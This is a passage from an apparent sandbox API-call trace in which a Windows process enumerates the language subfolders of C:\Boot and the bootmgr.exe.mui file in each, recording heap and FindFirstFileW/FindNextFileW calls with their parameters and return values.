GetProcessHeap () returned 0x550000 [0063.046] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.046] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0063.046] GetProcessHeap () returned 0x550000 [0063.046] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.047] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.047] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.047] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.047] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.048] GetProcessHeap () returned 0x550000 [0063.048] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.048] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0063.048] GetProcessHeap () returned 0x550000 [0063.048] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.048] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.048] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.049] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.049] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.049] GetProcessHeap () returned 0x550000 [0063.049] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.049] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0063.049] GetProcessHeap () returned 0x550000 [0063.049] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.050] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.050] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.050] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.050] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.050] GetProcessHeap () returned 0x550000 [0063.050] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.050] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0063.051] GetProcessHeap () returned 0x550000 [0063.051] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.051] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.051] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.051] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.051] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.051] GetProcessHeap () returned 0x550000 [0063.052] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.052] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0063.052] GetProcessHeap () returned 0x550000 [0063.052] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.052] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.053] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.053] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.053] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.053] GetProcessHeap () returned 0x550000 [0063.053] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.053] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0063.053] GetProcessHeap () returned 0x550000 [0063.054] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.054] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.054] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.055] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.055] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.055] GetProcessHeap () returned 0x550000 [0063.055] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.055] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0063.055] GetProcessHeap () returned 0x550000 [0063.055] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.475] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.476] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.476] GetProcessHeap () returned 0x550000 [0063.477] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.477] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0063.477] GetProcessHeap () returned 0x550000 [0063.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.477] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.478] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.479] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.479] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.479] GetProcessHeap () returned 0x550000 [0063.479] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.479] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0063.480] 